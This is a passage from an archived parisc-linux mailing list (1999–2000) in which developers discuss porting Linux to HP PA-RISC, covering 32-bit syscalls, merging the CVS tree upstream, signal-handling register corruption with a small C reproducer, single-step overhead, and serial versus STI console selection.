a 64 bit kernel.

> A 64 bit Kernel boots fine and recognizes all available hardware 
> including the additional 100BT card. But it traps with the init
> which comes with the latest nfsroot tarball. I built a new one
> from the sourcesw of debians sysvlinux-2.78 and it does not trap
> anymore, but the kernel told me about unimplemented 32 syscalls.
> At this point I tried to build a 64 bit glibc in order to get
> a crt1.o , which is needed to builf for a 64bit init.

Don't try a 64-bit userland yet.  What you need to do is implement
some of the 32-bit syscalls.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS linux Vs. -test10
Date: Mon, 20 Nov 2000 11:17:26 +0000
Lines: 101
Approved: news@gmane.org
Message-ID: <20001120111726.C5196@parcelfarce.linux.theplanet.co.uk>
References: <20001118072454.C30151@parcelfarce.linux.theplanet.co.uk> <200011200744.XAA18214@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619315 6755 80.91.229.3 (22 Nov 2014 01:21:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:55 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@puffin.external.hp.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@www.linux.org.uk  Mon Nov 20 04:18:27 2000
Original-Received: from www.linux.org.uk (IDENT:root@parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id EAA21951
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Nov 2000 04:18:27 -0700
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13xoww-0001ys-00; Mon, 20 Nov 2000 11:17:26 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200011200744.XAA18214@milano.cup.hp.com>; from grundler@cup.hp.com on Sun, Nov 19, 2000 at 11:44:42PM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8527

On Sun, Nov 19, 2000 at 11:44:42PM -0800, Grant Grundler wrote:
> Matthew Wilcox wrote:
> > On Tue, Nov 14, 2000 at 09:35:01AM -0700, Paul Bame wrote:
> > ok, here's my memories.
> 
> Thanks Matthew!
> 
> hehe...sounds like someone's getting older. :^)

... when i were a lad, all this were fields!  Our dad used to kill us
every morning, we'd get up half an hour before we went to bed and walk
uphill both to and from school...

> ...
> > >      * drivers/net/eepro100.c: no clue about this one
> > 
> > we were trying to get it to work for the Jan NYLWE show.
> 
> I think I did that. IIRC, it's a one-line change to use I/O port
> space since MMIO wasn't usable without more invasive changes.

sounds right.  MMIO should work now though, right?

> > i doubt we have any changes of note.  does anyone have an eepro in an hp?
> 
> I have picked nearly 30 i82557/i82558 PCI cards from scrap yard.
> And maybe a few i82559 even. Did you need one (or two)? :^)

Heh, I only have a 712 right now :-)

> FWIW, this is the card/driver which I think was causing misaligned
> data reference traps. I never had a chance to followup with this though.
> At the time, I thought it would be *really* fun to show this working
> to HP's marketing team...

Oh yes, I remember that now.  Tulip always does a copy (well, it doesn't _have_
to, but we tell it to, just like the Alpha does).

> > >      * fs/nfs/read.c: probably unnecessary hack for broken parisc64 gcc
> > 
> > we certainly don't want to send it upstream, but we don't want to take it
> > out until the bug is fixed.  is fixing that bug on the webshite todo list?
> 
> I don't think so. It's possible it's already fixed.
> 
> Relevant CVS log entry:
> | revision 1.5
> | date: 2000/07/18 03:15:25;  author: dhd;  state: Exp;  lines: +5 -0
> | ARGH!  When I put in an assertion, NFS stops breaking randomly.  I
> | suspect this is a compiler or binutils problem but I can't see any
> | clear differences in the generated code.  I'll debug it later...
> 
> This sounds like the hppa64 bug we saw with %r29 getting trashed.
> But I don't think David was working on hppa64 kernel at the time.
> I can test 32-bit NFS Root tomorrow w/o assertion if no one else
> beats me to it.

it was definitely a 32-bit kernel at the time.  It might be the same bug,
but I'm not sure.

> > >      * include/linux/init.h: we use different section names -- why????,
> > >        probably some unnecessary other differences too
> > 
> > because we use -ffunction-sections.  text.init clashes with a function
> > called init, and the linker just merges it into the text segment.  we
> > need it to be separate, so it became init.text.  there's patches around
> > to do this for other architectures too.  just bad naming choices initially.
> 
> We need to resolve this in order to merge upstream.
> Matthew, any advice on how we should proceed?
> Or would be easier for you pester Alan Cox and just get it fixed?

Hm.  Alan's not hacking on 2.4, last I heard.  I might pester Linus and
see if we can change that.  It's a mechanical change so he might not be
averse to it at this point.  Bear in mind we don't need to do a complete
merge at this point -- most architectures have a separate patch to apply
on top of Linus' tree.

> > >      * include/linux/wait.h: parisc debugging -- should be removed
> > 
> > yeah, that can die now.
> 
> I'd be happy to fix this by clobbering the current version with what's in
> linux-2.4.0-test10. But what is the "right" way to revert changes we've made
> so this doesn't show up in next merge?

I don't know that there's an official way to do this.  I always changed
the file to its previous state and then committed it.  There are a number of
ways of doing it; perhaps the cleanest is:

cvs diff -r1.4 -r1.5 fs/nfs/read.c >../read.c.diff
(then check the read.c.diff file)
patch -p1 <../read.c.diff
rm ../read.c.diff

or you can just delete the lines yourself.  Use diff to make sure there
aren't any silly cosmetic changes (eg whitespace).

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS linux Vs. -test10
Date: Mon, 20 Nov 2000 09:34:31 -0800
Lines: 81
Approved: news@gmane.org
Message-ID: <200011201734.JAA18526@milano.cup.hp.com>
References: <20001120111726.C5196@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619315 6759 80.91.229.3 (22 Nov 2014 01:21:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:55 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: grundler@cup.hp.com  Mon Nov 20 10:33:36 2000
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA24893
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Nov 2000 10:33:36 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id E9701514
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Nov 2000 09:35:43 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA18526;
	Mon, 20 Nov 2000 09:34:34 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 20 Nov 2000 11:17:26 PST."
             <20001120111726.C5196@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:8528

Matthew Wilcox wrote:
...
> sounds right.  MMIO should work now though, right?

It would have worked then too.
Changing it to use MMIO space would require disabling I/O Port space
by defining inb/outb locally to use gsc_readb/writeb.
My problem with doing that was the semantics are slightly different.
I/O Port space is non-postable and MMIO space is. I wasn't confident
a driver written to use I/O port space would work right under MMIO
though some certainly do.

...
> it was definitely a 32-bit kernel at the time.  It might be the same bug,
> but I'm not sure.

Can't be. AP (%r29) is a 64-bit only construct.
dhd also just confirmed it was 32-bit kernel.
I'll try it now.

...
> > We need to resolve this in order to merge upstream.
> > Matthew, any advice on how we should proceed?
> > Or would be easier for you pester Alan Cox and just get it fixed?
> 
> Hm.  Alan's not hacking on 2.4, last I heard.  I might pester Linus and
> see if we can change that.  It's a mechanical change so he might not be
> averse to it at this point.  Bear in mind we don't need to do a complete
> merge at this point -- most architectures have a separate patch to apply
> on top of Linus' tree.

Ok. What's the first step to getting arch/parisc* and include/asm-parisc*
into Linus's tree?

I had dinner with Bdale Garbee last night and one of two things he made
clear was we need to unfork from debian and linus's tree in order to move
forward. All our CVS branches need to become obsolete or "local sandboxes"
of the respective upstream partners. Feeding kernel bits upstream will
bring a new level of visibility (and *HELP*) to the parisc-linux port.

I totally agree with Bdale. I understand alot of work still needs to
happen in our tree (eg though sba_iommu.c works, it's current form sucks)
But pushing bits upstream to linus will not preclude us from doing that work.

I also find it odd that glibc is merged upstream *before* the kernel is.

For the record, the second issue bdale made clear was we need "boot
floppies" debian package working. We don't need more ISO images (no
offense to pjlahaie for his good work). "Boot floppies" is a pre-requisite
to becoming part of the next debian release. Given I still don't have
a clue how to build a debian package and I can still contribute alot
in other areas, it doesn't make sense for me to do it myself.


> > I'd be happy to fix this by clobbering the current version with what's in
> > linux-2.4.0-test10. But what is the "right" way to revert changes we've made
> > so this doesn't show up in next merge?
> 
> I don't know that there's an official way to do this.  I always changed
> the file to its previous state and then committed it.  There are a number of
> ways of doing it; perhaps the cleanest is:
> 
> cvs diff -r1.4 -r1.5 fs/nfs/read.c >../read.c.diff
> (then check the read.c.diff file)
> patch -p1 <../read.c.diff
> rm ../read.c.diff
> 
> or you can just delete the lines yourself.  Use diff to make sure there
> aren't any silly cosmetic changes (eg whitespace).

The part you described above is the easy part - np.
I'm worried about labels and tracking how we "name" the releases.
Mang or other CVS ninja's care to comment?

thanks,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Some updates.
Date: Fri, 23 Apr 1999 00:05:10 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990423000204.17252G-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619315 6764 80.91.229.3 (22 Nov 2014 01:21:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:55 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@redhat.com  Fri Apr 23 00:05:25 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id AAA08814
	for <parisc-linux@sod.res.cmu.edu>; Fri, 23 Apr 1999 00:05:24 -0400
Original-Received: (qmail 11004 invoked by uid 15267); 23 Apr 1999 04:03:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10997 invoked from network); 23 Apr 1999 04:03:51 -0000
Original-Received: from devserv.devel.redhat.com (adevries@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 23 Apr 1999 04:03:51 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id AAA03387
	for <parisc-linux@thepuffingroup.com>; Fri, 23 Apr 1999 00:05:10 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
Xref: news.gmane.org gmane.linux.ports.parisc:8529


Some updates just to keep everybody up to date on what's happened:

- the primary FTP server for PARISC Linux is ftp://puffin.external.hp.com,
pleasantly sponsored by Hewlett Packard

- there's now tar balls of raw source code, debian packages, rpms, source
rpms, and now daily checkouts of CVS in .tar.gz format on the FTP server

- I've updated the WWW pages to reflect these changes, including the CVS
server move announced earlier.

- Alex

-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
PA RISC Linux Porting Team



From - Thu Nov 08 21:14:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] signal handling problems (32 bit kernel)
Date: Mon, 20 Nov 2000 17:58:38 +0000
Lines: 93
Approved: news@gmane.org
Message-ID: <20001120175838.Q32715@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619316 6770 80.91.229.3 (22 Nov 2014 01:21:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:56 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Mon Nov 20 10:59:24 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA25506
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Nov 2000 10:59:24 -0700
Original-Received: (qmail 23741 invoked by uid 15267); 20 Nov 2000 18:01:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23714 invoked from network); 20 Nov 2000 18:01:32 -0000
Original-Received: from sleepie.demon.co.uk (HELO rhirst.linuxcare.com) (194.222.23.208)
  by mailserv2.iuinc.com with SMTP; 20 Nov 2000 18:01:32 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 9571CB005; Mon, 20 Nov 2000 17:58:38 +0000 (GMT)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:8530

Hi,
  Following on from my problems with SEGV last week, I've come up with
a few signal handling issues:

=============================================================

parisc:signal.c

        /* Possibly bogus. */
#warning XXX FIXME probably bogus -PB
        /* I think this is bogus -- it'll cause the first instn of the
         * signal handler to be executed twice!  Better might be to
         * set iaoq[0] to one of the NOPs in the trampoline. -PB
         */
        regs->iaoq[0] = (unsigned long) haddr | 3;
        regs->iaoq[1] = (unsigned long) haddr | 3;

This causes real problems if the signal handler is a dynamic object
which has not yet been resolved; in that case the signal handler
points at the b,l instr in the following at the end of the .plt:

    2700:       0e 80 10 96     ldw  0(sr0,r20),r22
    2704:       ea c0 c0 00     bv r0(r22)
    2708:       0e 88 10 95     ldw  4(sr0,r20),r21
    270c:       ea 9f 1f dd     b,l 2700 <__DTOR_END__+0x54>,r20
    2710:       d6 80 1c 1e     depwi 0,31,2,r20

typically that results in a misalligned access on the first ldw
as r20 is screwed.

I've fixed that by setting iaoq[1] = iaoq[0]+4.  Is that OK, or
should we use the NOP approach in the comment above?

=============================================================

If a program gets a SEGV, fixes the cause of it in its signal
handler, and returns, then the faulting instruction is not rerun.
I think that's wrong (differs from m68k anyway).

=============================================================

Set the following program running:

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>

int v[8];

void (* fp)(int);

void sig_handler(int sig)
{
}

void poke(int i)
{
        v[0] = i; v[1] = i; v[2] = i; v[3] = i;
        v[4] = i; v[5] = i; v[6] = i; v[7] = i;
}

int main()
{
        int j, i = 0;
        struct sigaction act;

        memset(&act, 0, sizeof(act));
        act.sa_handler = sig_handler;
        sigaction(SIGUSR1, &act, NULL);

        fp = sig_handler;
        fp(0);
        printf("I am %d\n", getpid());
        while (1) {
                poke (++i);
                j = v[7];
                if (j != i)
                        printf("Wah!\n");
        }
}


and then in another terminal do 'kill -USR1 <pid>'.  The program
either goes 'Wah!', gives a SEGV, or works.  That seems to be because
%r1 is corrupted while processing the signal.  The signal handler ends
with a syscall (rt_sigreturn_wrapper), and %r1, at least, is not saved
and restored over the syscall.  %r31 also appears to get corrupted, as
it is used in the final branch of the syscall return.

Richard



From - Thu Nov 08 21:14:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Single-stepping
Date: Mon, 20 Nov 2000 10:47:38 -0800 (PST)
Lines: 33
Approved: news@gmane.org
Message-ID: <200011201847.KAA12667@opus.allegro.com>
References: <Pine.LNX.4.21.0011201912260.15391-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619316 6773 80.91.229.3 (22 Nov 2014 01:21:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:56 +0000 (UTC)
Cc: jsm@udlkern.fc.hp.com (John Marvin), parisc-linux@puffin.external.hp.com,
        parisc-linux@thepuffingroup.com
To: alan@linuxcare.com.au (Alan Modra)
Original-X-From: sieler@opus.allegro.com  Mon Nov 20 11:46:31 2000
Original-Received: from opus.allegro.com (opus.allegro.com [209.10.39.50])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA26698
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Nov 2000 11:46:31 -0700
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id KAA12667;
	Mon, 20 Nov 2000 10:47:38 -0800
In-Reply-To: <Pine.LNX.4.21.0011201912260.15391-100000@front.linuxcare.com.au> from "Alan Modra" at Nov 20, 2000 08:05:58 PM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:8531

Re:

> Because you would then need to save and restore cr0 on task switches (or
> only allow one task to be single-stepped at a time).  That's four
> instructions and two extra memory accesses per task switch.  Which might
> not seem very much, but at some point somebody will no doubt start caring
> about pa-linux performance. 

And it still won't seem like much, then!

Non-memory-access instructions are cheap.  An extra memory reference (from
something probably already in cache) and two extra instructions
would probably cost less than an hour per CPU over the next 10 *years*,
assuming 10 years of 1000 task switches per second on a slow 100 MHz CPU.

Of course, at the cost of an extra non-memory-referencing instruction or so,
you could say "at switch-to-task time: if PSW R-bit set, then load the saved
CR0 from memory and move it to CR0", saving one memory reference 99.99999%
of the time, resuling in an average of only one memory reference
per task switch normally.

I haven't look at interrupt handling / system calls closely, but I
hope there aren't other false savings.  (E.g., failure to save/restore
the PID check flag ... sure, user processes *now* probably never have
pid checking disabled, but that's a very useful feature to have
available (with proper security controls, of course).)
(Yes, I'm one of the very few who use that feature on MPE/iX ... carefully,
of course :)

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com        


From - Thu Nov 08 21:14:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS linux Vs. -test10
Date: Mon, 20 Nov 2000 11:23:40 -0800
Lines: 24
Approved: news@gmane.org
Message-ID: <200011201923.LAA18808@milano.cup.hp.com>
References: <20001118072454.C30151@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619316 6775 80.91.229.3 (22 Nov 2014 01:21:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:56 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: grundler@cup.hp.com  Mon Nov 20 12:22:34 2000
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id MAA27914
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Nov 2000 12:22:34 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel1.hp.com (Postfix) with ESMTP id ED6AC5DE
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Nov 2000 14:24:46 -0500 (EST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id LAA18808
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Nov 2000 11:23:41 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 18 Nov 2000 07:24:54 PST."
             <20001118072454.C30151@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:8532

Matthew Wilcox wrote:
...
> >      * fs/nfs/read.c: probably unnecessary hack for broken parisc64 gcc
> 
> we certainly don't want to send it upstream, but we don't want to take it
> out until the bug is fixed.  is fixing that bug on the webshite todo list?

It's fixed. I was able to NFS boot my A180 and install  palinux-0.5.iso
bits on the SCSI disk. I've reverted the change to the LINUS_240_TEST10
version.

> >      * include/linux/wait.h: parisc debugging -- should be removed
> 
> yeah, that can die now.

Is anyone else already doing this?

thanks,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: herrold <herrold@owlriver.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Serial vs. STI console selector  was: Re: [parisc-linux] Beta CD
Date: Mon, 20 Nov 2000 15:40:24 -0500 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.30.0011201531170.6744-100000@pokey.513erich.iwaynet.net>
References: <20001114154259.B30937@achilles.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619317 6781 80.91.229.3 (22 Nov 2014 01:21:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:57 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>
Original-X-From: herrold@owlriver.com  Mon Nov 20 13:36:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA28693
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Nov 2000 13:36:31 -0700
Original-Received: (qmail 24222 invoked by uid 15267); 20 Nov 2000 20:38:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24211 invoked from network); 20 Nov 2000 20:38:43 -0000
Original-Received: from new.owlriver.com (root@198.30.29.42)
  by mailserv2.iuinc.com with SMTP; 20 Nov 2000 20:38:43 -0000
Original-Received: from pokey.513erich.iwaynet.net (router.513erich.iwaynet.net [206.244.44.225])
	by new.owlriver.com (8.9.3/8.9.3) with ESMTP id PAA22592;
	Mon, 20 Nov 2000 15:38:23 -0500
Original-Received: from localhost (localhost.localnet [127.0.0.1])
	by pokey.513erich.iwaynet.net (8.9.3/8.9.3) with ESMTP id PAA08610;
	Mon, 20 Nov 2000 15:40:25 -0500
Original-Sender: <herrold@513erich.iwaynet.net>
In-Reply-To: <20001114154259.B30937@achilles.net>
Xref: news.gmane.org gmane.linux.ports.parisc:8533

On Tue, 14 Nov 2000, Paul J.Y. Lahaie wrote:

> This is to answer all the questions about sti console.  Currently, in the
> CVS tree, serial console and STI console cannot be turned on at the same time.
>
> This means that a choice between serial/sti needs to be done at compile
> time.

> If you have any more questions or suggestions, feel free to email me or
> post on this list.  Thank you.

... Query --

Background: Back in the early 70's with a HP 8090 <?>, IBM 1401, IBM
1620, and IBM 360/40, we faced such issues (Don't ask my age,
please)  -- The solution was to probe for, and look for 'sense
switches' in unusual state -- that is -- Some condition which we
could examine, and yet not hose up the boot proces on the host. --
CapsLock set on a keyboard driver -- DSR on a serial line, a
'console sense switch' normally kept off but turned on ... so on.
Sort of like working through a qualitative analysis flowchart in
non-organic chemistry.

Is this possible, to allow support of both, with a single kernel?

-- Russ



From - Thu Nov 08 21:14:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Serial vs. STI console selector was: Re: [parisc-linux] Beta CD
Date: Mon, 20 Nov 2000 12:59:41 -0800
Lines: 14
Approved: news@gmane.org
Message-ID: <200011202059.MAA18987@milano.cup.hp.com>
References: <Pine.LNX.4.30.0011201531170.6744-100000@pokey.513erich.iwaynet.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619317 6783 80.91.229.3 (22 Nov 2014 01:21:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:57 +0000 (UTC)
Cc: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>,
        parisc-linux@thepuffingroup.com, grundler@milano.cup.hp.com
To: herrold <herrold@owlriver.com>
Original-X-From: grundler@cup.hp.com  Mon Nov 20 13:57:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA29036
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Nov 2000 13:57:22 -0700
Original-Received: (qmail 20417 invoked by uid 15267); 20 Nov 2000 20:59:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20399 invoked from network); 20 Nov 2000 20:59:34 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 20 Nov 2000 20:59:34 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 931BE6E1; Mon, 20 Nov 2000 12:59:32 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id MAA18987;
	Mon, 20 Nov 2000 12:59:43 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 20 Nov 2000 15:40:24 PST."
             <Pine.LNX.4.30.0011201531170.6744-100000@pokey.513erich.iwaynet.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:8534

"Russ" herrold wrote:

> Is this possible, to allow support of both, with a single kernel?

Yes. I think the issues are code not stomping on each other.
And it's easy than you might think - PDC can tell us what the
primary console is.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 712 ISL and palo
Date: Mon, 20 Nov 2000 17:19:03 -0800 (PST)
Lines: 15
Approved: news@gmane.org
Message-ID: <200011210119.RAA19517@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619317 6784 80.91.229.3 (22 Nov 2014 01:21:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:57 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: grundler@cup.hp.com  Mon Nov 20 18:17:56 2000
Original-Received: from cosrel1.hp.com (cosrel1.hp.com [156.153.255.170])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id SAA02547
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Nov 2000 18:17:56 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by cosrel1.hp.com (Postfix) with ESMTP id C0736726
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Nov 2000 18:20:25 -0700 (MST)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id RAA19517
	for parisc-linux@puffin.external.hp.com; Mon, 20 Nov 2000 17:19:03 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:8535

Hi Paul (Bame),

I tried booting 712 with "bo scsi.4.0 isl" with the
palinux-0.5.iso image on a regular hard disk.
I wanted to edit the "root" parameter so it would
be /dev/sdb (also had a disk at scsi.0.0) instead of
/dev/scd0.

palo wouldn't accept any ps/2 keyboard input.
Don't know if this is a palo or PDC bug.
Any ideas?

thanks,
grant


From - Thu Nov 08 21:14:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: A DT_INIT/DT_FINI glibc patch.
Date: Tue, 21 Nov 2000 12:55:42 +1100 (EST)
Lines: 17
Approved: news@gmane.org
